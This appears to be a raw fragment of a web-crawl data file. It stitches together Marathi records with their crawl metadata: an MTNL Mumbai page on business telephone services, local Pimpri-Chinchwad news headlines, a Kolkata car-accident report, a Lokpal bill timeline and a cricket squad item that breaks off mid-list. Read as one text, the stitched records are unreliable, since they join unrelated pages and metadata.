व्हीपीएनची सेवा मोठे व्यावसायिक व व्यावसायिक समूहांसाठी फार उपयोगी आहे कारण ते व्हीपीएन सेवेचा आपल्या व्यस्त कार्यस्थानामध्ये आपल्या खाजगी सेवेच्या स्वरुपात उपयोग करु शकतात.\nकोणतीही कंपनी व अन्य व्यक्ती व्हीपीएन सेवा घेण्यासाठी अर्ज करु शकतात. उपयोगात असणा-या टेलिफोन लाईनवर नवीन व्हीपीएन कनेक्शनचा उपयोग करुन आपल्या स्वतःच्या व्हीपीएन नेटवर्क वर घेतलेल्या टेलिफोन कनेक्शनचा उपयोग सामान्य टेलिफोन कनेक्शन साधारण कनेक्शनच्या स्वरुपात करु शकतो.\nयुनिव्हर्सल एक्सेस नंबर (यूएएन)\nयूएएन सेवा ग्राहकांना राष्ट्रीय नंबर प्रकाशित करण्यास परवानगी देते आणि वेगवेगळ्या स्थानांवर आधारित वेगवेगळ्या कॉलिंग जसे की भौगोलिक स्थानाचे कॉलर, वेळ, दिवस किंवा ज्या तारखेला कॉल केला जातो त्यानुसार वेगवेगळे कॉल केले जातात.\nटोल फ्री सेवा (टीएफएस) आपल्याशी संपर्क साधण्याचा एक 'विनामूल्य' आणि सोयीस्कर मार्ग प्रदान करते. या टोल फ्री नंबरच्या वापरासाठी शुल्क आपल्या व्यवसायात अधिक आणि अधिक ग्राहकांना ही सेवा लाभान्वित करा\nप्रिमिअम रेट सेवा (पीआरएम) एक टेलिफोन सेवा आहे जी रेकॉर्ड केलेल्या माहिती पुरवते किंवा कॉल करणाऱ्यांसाठी लाइव्ह संभाषणे देते. सामान्य कॉलपेक्षा उच्च दराने कॉलर्सवर शुल्क आकारले जाते, जे नंतर सेवा प्रदाता (कंटेंट प्रोव्हायडर) आणि नेटवर्क ऑपरेटर (एमटीएनएल) यांच्यात विभागले जाते. एमटीएनएल सेवा पुरवठादाराला एक खास क्रमांक वाटतो, ज्याला प्रिमिअम रेट नंबर म्हणून ओळखले जाते, त्या नंबरला एमटीएनएल (मुंबई आणि दिल्ली) फोनद्वारे प्रवेश करता येतो.\nअकाऊंट कार्ड कॉलिंग सेवा\nअकाऊंट कार्ड कॉलिंग सेवा\nखाते कॉलिंग सेवा ग्राहकांना एमटीएनएल (मुंबई आणि दिल्ली) वरून कोणत्याही एसटीडी / आयएसडी सुविधा न वापरता फोन - स्थानिक, राष्ट्रीय किंवा आंतरराष्ट्रीयसाठी कोणत्याही फोनवर करण्याची परवानगी देते.\n२ एमबीपीएस पेक्षा कमीचे दर\n२ एमबीपीएस व त्या पेक्षा जास्ती चे दर\nडीआयडी इपीएबीएक्स टू फ्रैंचाइज़ी\nवेबसाईट धोरणे / अटी आणि नियम\nहे महानगर टेलिफोन निगम लिमिटेड मुंबईचा अधिकृत संकेतस्थळ आहे, जे भारत सरकारच्या कम्युनिकेशन मंत्रालयाच्या अंतर्गत काम करत आहे.\nYou are here: Home व्यावसायिक व्होईस सोल्यूशन", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00381.warc.wet.gz", "language": "mr", "language_score": 0.84, "bucket": "all"} {"url": "http://pclive7.com/tag/%E0%A4%AA%E0%A4%BE%E0%A4%A3%E0%A5%80/", "date_download": "2018-09-25T17:59:14Z", "digest": "sha1:GEFPLWQBEYL4ID52SSTPTLFXT7AZAV2L", "length": 9266, "nlines": 96, "source_domain": "pclive7.com", "title": "पाणी | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\nपिंपरी (Pclive7.com):- रावेत बंधाऱ्यातील पाण्याची पातळी कमी झाल्यामुळे अशुद्ध जल उपसा केंद्रातील काही पंप्स काही कालावधीसाठी बंद ठेवावे लागल्याने पाण्याचा उपसा नेहमीपेक्षा कमी झाला आहे. त्या...\tRead more\nपवनामाईचे खासदार श्रीरंग बारणे यांच्या हस्ते ‘जलपूजन’, धरणातून पाण्याचा विसर्ग सुरू\nपिंपरी (Pclive7.com):- पिंपरी चिंचवडकरांची तहान भागविणाऱ्या मावळातील पवना धरणावर शिवसेना खासदार श्रीरंग बारणे यांच्या शुभहस्ते पवनामाईचे जलपूजन करण्यात आले. तसेच पवना धरण ९७ टक्के भरले असून...\tRead more\nपुण्यात चक्क पाण्याखाली योगासने; डॉ.खुशी यांचा विश्वविक्रम रचण्याचा मानस\nपुणे (Pclive7.com):- आंतरराष्ट्रीय योग दिनाच्या निमित्ताने पुण्यात चक्क पाण्याखाली योगासने करून आशियाई विक्रम रचला जात आहे. पुण्यातील डॉ. खुशी परमार यांनी हा विश्वविक्रम रचण्याचे ठरविले आहे....\tRead more\nआळंदीकरांना स्वच्छ पाणी मिळणार तरी कधी…\nसमाविष्ट गावातील पाण्याचा प्रश्न लवकरच सुटणार – महेश लांडगे\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड महापालिकेत समाविष्ट ग्रामीण भागातील विकास कामांच्या माध्यमातून अनुशेष भरून काढण्याचा प्रयत्न करण्यात आला आहे. तळवडे ते च-होली मोशी पर्यंतच्या नागरिकांचा...\tRead more\nपाणी दरवाढीचे भाजपचे कारस्थान; दरवाढ रद्द करण्याचे शिवसेनेचे आवाहन\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड महापालिकेच्या स्थायी समितीने नवीन पाणीपट्टी दर निश्चित केले आहे. सत्ताधारी त्याचा मोठा गाजावाजा करत शहरवासियांना मोफत ६ हजार लीटर पाणी देण्याची घोषणा के...\tRead more\nपिंपरी चिंचवडकरांचे पाणी महागले…(Video)\nपिंपरी (Pclive7.com):- अधिकृत नळजोडग्राहक असलेल्या पिंपरी चिंचवड शहरातील प्रत्येक कुटुंबाला दरमहा ६ हजार लिटरपर्यंतचे पिण्याचे पाणी मोफत देण्याचा तसेच पाणीपट्टीत ५ टक्के दरवाढ करण्याचा तुघलक...\tRead more\nभोसरीत भूगर्भातून उकळते पाणी येऊ लागल्याने भीतीचे वातावरण (पहा व्हिडीओ)\nपिंपरी (Pclive7.com):- थंडीच्या दिवसातही जमीनीतून अचानक उकळते पाणी येऊ लागल्याने नागरिकांमध्ये आश्चर्य आणि भीतीचे वातावरण निर्माण झाले आहे. भोसरी येथे पिंपरी-चिंचवड महापालिकेचे सहल केंद्र आह...\tRead more\nदापोडीत ड्रेनेजचे पाणी घरात शिरल्याने नागरिक त्रस्त; नगरसेवक रोहित काटे यांचा उपोषणाचा इशारा\nपिंपरी (Pclive7.com):- दापोडी येथील बुध्द विहाराजवळ असलेल्या धोंडीबा काटेनगर भागात ड्रेनेजचे पाणी घरात शिरल्याने नागरिक त्रस्त झाले आहेत. प्रत्येक घरासमोर पाणीच पाणी झाल्याचे दिसत आहे. या पर...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00381.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://pclive7.com/tag/%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%B6%E0%A4%BE%E0%A4%82%E0%A4%A4-%E0%A4%B6%E0%A4%BF%E0%A4%A4%E0%A5%8B%E0%A4%B3%E0%A5%87/", "date_download": "2018-09-25T17:58:40Z", "digest": "sha1:6ASBUKPN3HM7PWYMBVS7RJ2CCYP24YB2", "length": 8602, "nlines": 84, "source_domain": "pclive7.com", "title": "प्रशांत शितोळे | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nसांगवीतील संरक्षण हद्दीतील रस्ता विकसित करा; प्रशांत शितोळे यांची महापालिकेकडे मागणी\nपिंपरी (Pclive7.com):- सांगवी-किवळे मार्गावरील सांगवी फाटा ते सांगवीपर्यंतच्या हद्दीतील संरक्षण विभागाची जागा महापालिकेच्या मंजूर विकास आराखड्यातील रुंदीप्रमाणे विकसित करण्यासाठी सरंक्षण विभ...\tRead more\nसांगवीच्या विकासकामांत प्रशांत शितोळेंची आडकाठी; भाजपच्या चारही नगरसेवकांचा हल्लाबोल\nपिंपरी (Pclive7.com):- प्रभाग क्रमांक ३२ मधील स्मशानभूमीचे आणि रस्त्यांची कामे तातडीने करावीत, यासाठी वारंवार पाठपुरावा करून देखील महापालिका प्रशासन बघ्याची भूमिका घेत आहे. माजी नगरसेवक प्रश...\tRead more\n“काही बोलायचे नाही, सरकार पारदर्शक आहे”, सोशल मिडीयावरून भाजपच्या कारभारावर राष्ट्रवादीची सडकून टिका\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड महापालिकेत भाजपची सत्ता नेत्यांच्या कामगिरीमुळे आली हे जरी सत्य असले तरी त्यात सोशल मीडियाचा मोठा वाटा होता. ‘नको भानामती, नको बारामती’ असे म...\tRead more\nभाजप सरकारचा पिंपरीत राष्ट्रवादीकडून निषेध; ‘गाजर डे’ केला साजरा\nपिंपरी (Pclive7.com):- केंद्र आणि राज्यात सत्तेत येण्यापूर्वी भाजपने आश्वासनांची खैरात केली होती. आता त्यांना त्यांचा विसर पडलायं. दिल्लीपासून गल्लीपर्यंत भाजपच्या नेत्यांनी जनतेला केवळ आश्व...\tRead more\n‘बीव्हीजी’ तर राष्ट्रवादीची ‘पिलावळ’… प्रशांत शितोळेंनी आत्मपरिक्षण करावे ; पक्षनेत्यांचा राष्ट्रवादीवर पलटवार\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड शहरातील घरोघरचा कचरा गोळा करण्याच्या कंत्राटात २५२ कोटी रुपयांचा घोटाळा होणार असल्याचा आरोप बिनबुडाचे आहे. शवदाहिनीत भ्रष्टाचार करणा-या प्रशांत शितोळेंनी...\tRead more\nभाजपवाले ‘अँनाकोंडा’… कच-यातून २५२ कोटी गिळण्याचा डाव; राष्ट्रवादीचा आरोप\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड शहरातील घरोघरचा कचरा गोळा करुन तो मोशी कचरा डेपो येथे नेण्याच्या नव्या कंत्राटात २५२ कोटी रुपयांचा संभाव्य घोटाळा होणार आहे. शहराच्या दोन भागाची विभागणी...\tRead more\nराष्ट्रवादीच्या शहर जिल्हा कार्याध्यक्षपदी प्रशांत शितोळे यांची नियुक्ती\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड शहर जिल्हा राष्ट्रवादी काँग्रेसच्या कार्याध्यक्षपदी माजी नगरसेवक प्रशांत शितोळे यांची नियुक्ती करण्यात आली आहे. प्रदेशाध्यक्ष सुनिल तटकरे यांनी ही निवड क...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00381.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/entertainment/bengali-actor-bikram-chattopadhyas-car-met-with-an-accident-model-sonika-chauhan-died-259442.html", "date_download": "2018-09-25T17:40:56Z", "digest": "sha1:2N76HE2MBED5QLNYWBCAF7MUDOY7WEBC", "length": 12516, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "भीषण कार अपघातात बंगाली माॅडेल सोनिका चौहानचा मृत्यू", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nभीषण कार अपघातात बंगाली माॅडेल सोनिका चौहानचा मृत्यू\nया कार अपघातात बंगाली अभिनेता बिक्रम चटोपाध्याय गंभीर जखमी झालाय\n29 एप्रिल : कोलकातामध्ये एका भीषण कार अपघातात बंगाली अभिनेता बिक्रम चटोपाध्याय गंभीर जखमी झालाय. तर त्याच्यासोबत असलेली माॅडेल सोनिका चौहानचा मृत्यू झालाय. आज शनिवारी सकाळी लेक माॅलजवळ हा भीषण अपघात झाला.\nन्यूज 18 बांगलाला पोलिसांनी दिलेल्या माहितीनुसार, अभिनेता बिक्रम स्वत: पांढऱ्या रंगाची टोयाटा जिसका गाडी चालवत होते. तेव्हा अचानक रस्त्यावर खड्डासमोर आल्यामुळे त्याचा गाडीवर ताबा सुटला आणि फुटवाथवर जाऊन गाडी आदळली. प्रत्यक्षदर्शीने दिलेल्या माहितीनुसार हा अपघात इतका भीषण होता की गाडी 180 डिग्रीमध्ये गाडीने पलटी खालली.\nसमोरच्या सीटवर बसलेली लोकप्रिय माॅडेल सोनिका सिंह चौहान हीच जागीच मृत्यू झाला. तर विक्रम गंभीर जखमी झाला असून त्याच्या डोक्याला गंभीर इजा झालीये. त्याला रूबी हाॅस्पिटलमध्ये आयसीयूमध्ये दाखल करण्यात आलंय.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00381.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/national/article-108849.html", "date_download": "2018-09-25T16:59:31Z", "digest": "sha1:AB2QDK4JRFUJUCE2FQEC3CRL4GQTGBKA", "length": 16882, "nlines": 165, "source_domain": "lokmat.news18.com", "title": "लोकपाल विधेयक मंजूर", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n18 डिसेंबर : गेल्या 45 वर्षांपासून प्रलंबित असलेले लोकपाल विधेयक अखेर आज लोकसभेत आवाजी मतदानाने मंजूर करण्यात आले आहे. विधेयक मंजूर झाल्याने राणेगणसिद्धीमध्ये विजयोत्सव साजरा होत आहे. हे विधेयक मंजूर झाल्यानंतर अण्णांनी नवव्या दिवशी आपले उपोषण सोडले.\nलोकपाल विधेयकासाठी सातत्याने जनआंदोलन करणार्‍या अण्णा हजारेंचा हा विजय आहे. संसदेच्या याच अधिवेशनात हे विधेयक मंजूर व्हावे यासाठी अण्णांनी नवी लढाई उभारली होती. आणि या लढ्यापुढे अखेर सरकारला झुकावे लागले. काल राज्यसभेत सुधारित लोकपाल विधेयक मंजूर करण्यात आले आणि त्यानंतर आज बहुचर्चित लोकपाल विधेयक अखेर लोकसभेतही मंजूर करण्यात आले.\nलोकसभेत लोकपाल विधेयकाला आज बुधवारी मंजुरी मिळाल्यानंतर आता हे विधेयक राष्ट्रपतींकडे पाठवण्यात येईल आणि त्यानंतर त्याचे कायद्यात रूपांतर होईल. एरवी प्रत्येक विधेयकासाठी एकमेकांच्या विरोधात असलेले सत्ताधारी काँग्रेस आणि विरोधी भाजप हे दोन्ही पक्ष या विधेयकाच्या मंजुरीसाठी मात्र एकत्र आले होते तर समाजवादी पक्षाने मात्र या विधेयकाला जोरदार विरोध करत सभात्याग केला. या विधेयकामुळे भयंकर परिणाम होतील, त्यामुळे हे सगळ्यांत धोकादायक विधेयक असल्याचे मत समाजवादी पक्षाचे नेते मुलायमसिंह यादव यांनी व्यक्त केले.\n9 मे 1968 - विधेयक पहिल्यांदा लोकसभेत\n- लोकपाल लोकायुक्त बिल\n- विधेयक निवड समितीकडे\n20 ऑगस्ट 1969 - लोकसभेत मंजुरी\n- चौथी लोकसभा विसर्जित, विधेयक बारगळलं\nत्यानंतर 3 वर्षांनी ...\n11 ऑगस्ट 1971 - लोकपाल लोकसभेत\n- कोणत्याही समितीकडे किंवा सभागृहाकडे पाठवलं नाही\n- पाचवी लोकसभा विसर्जित, विधेयक रद्द\n28 जुलै 1977 - लोकपाल लोकसभेत\n- विधेयक पुन्हा निवड समितीकडे\n- सहावी लोकसभा विसर्जित, विधेयक रखडलं\nलोकपाल सभागृहात मांडायला 8 वर्षं जावी लागली...\n28 ऑगस्ट 1985 - लोकपाल लोकसभेत\n- बिल पुन्हा निवड समितीकडे\n- सरकारनं विधेयक मागे घेतलं\n29 डिसेंबर 1989 - लोकपाल विधेयक पुन्हा लोकसभेत\n- नववी लोकसभा विसर्जित, विधेयक रद्द\nपुन्हा 7 वर्षांची प्रतीक्षा...\n13 सप्टेंबर 1996 - युनायटेड फ्रंट सरकारने लोकपाल आणले\n- विधेयक स्थायी समितीकडे\n- स्थायी समितीने शिफारसी लोकसभेत मांडल्या\n- अकरावी लोकसभा विसर्जित, विधेयक रद्द\nरखडलेल्या लोकपालला पुन्हा 8 वर्षांचा वनवास...\n14 ऑगस्ट 2004 - एनडीए सरकारने लोकपाल मांडले\n- विधेयक स्थायी समितीकडे\nअखेर अण्णा हजारेंच्या प्रखर आंदोलनामुळे आणि जनतेच्या रेट्यामुळे...\n27 डिसेंबर 2011 - लोकपाल आणि लोकायुक्त विधेयक -\n- लोकपाल लोकसभेत मंजूर\n29 डिसेंबर 2011 - राज्यसभेत गदारोळ, मतदान नाही\n- राज्यसभा अनिश्चित काळासाठी तहकूब\n21 मे 2012 - लोकपाल विधेयक पुन्हा राज्यसभेत मांडण्यात आले\n- राज्यसभेने ते निवड समितीकडे पाठवले.\n31 जानेवारी 2013- केंद्रीय मंत्रिमंडळानं लोकपालचा मसुदा मंजूर केला.\n17 डिसेंबर 2013 - लोकपाल विधेयक राज्यसभेत मंजूर.\n18 डिसेंबर 2013 - लोकसभेत लोकपाल विधेयक मंजूर\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00381.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://mahasports.co.in/shikhar-dhawan-to-replace-injured-murali-vijay-for-indias-tour-of-sri-lanka-2017/", "date_download": "2018-09-25T17:03:03Z", "digest": "sha1:OSSW77XSWZTZ2G3NHY6VRZWYWLS52JSP", "length": 7278, "nlines": 71, "source_domain": "mahasports.co.in", "title": "दुखापतग्रस्त मुरली विजयच्या जागी शिखर धवन संघात -", "raw_content": "\nदुखापतग्रस्त मुरली विजयच्या जागी शिखर धवन संघात\nदुखापतग्रस्त मुरली विजयच्या जागी शिखर धवन संघात\n२६ जुलै पासून सुरु होणाऱ्या श्रीलंका दौऱ्यासाठी दुखापतग्रस्त मुरली विजयच्या जागी शिखर धवनची संघात वर्णी लागली आहे. भारत या दौऱ्यात एकूण ३ कसोटी सामने खेळणार असून मुरली विजय हा सलामीवीर म्हणून संघासोबत जाणार होता.\nशिखर धवन यापूर्वी सप्टेंबर महिन्यात न्युझीलँड विरुद्ध दिल्ली येथे शेवटचा कसोटी सामना खेळला आहे. अभिनव मुकुंद, के. एल. राहुल हे दोन सलामीवीर या दौऱ्यात असून आता शिखर धवनचाही समावेश झाला आहे.\nकसोटी मालिकेसाठी भारतीय संघ:\nविराट कोहली (कर्णधार) , के. एल. राहुल, 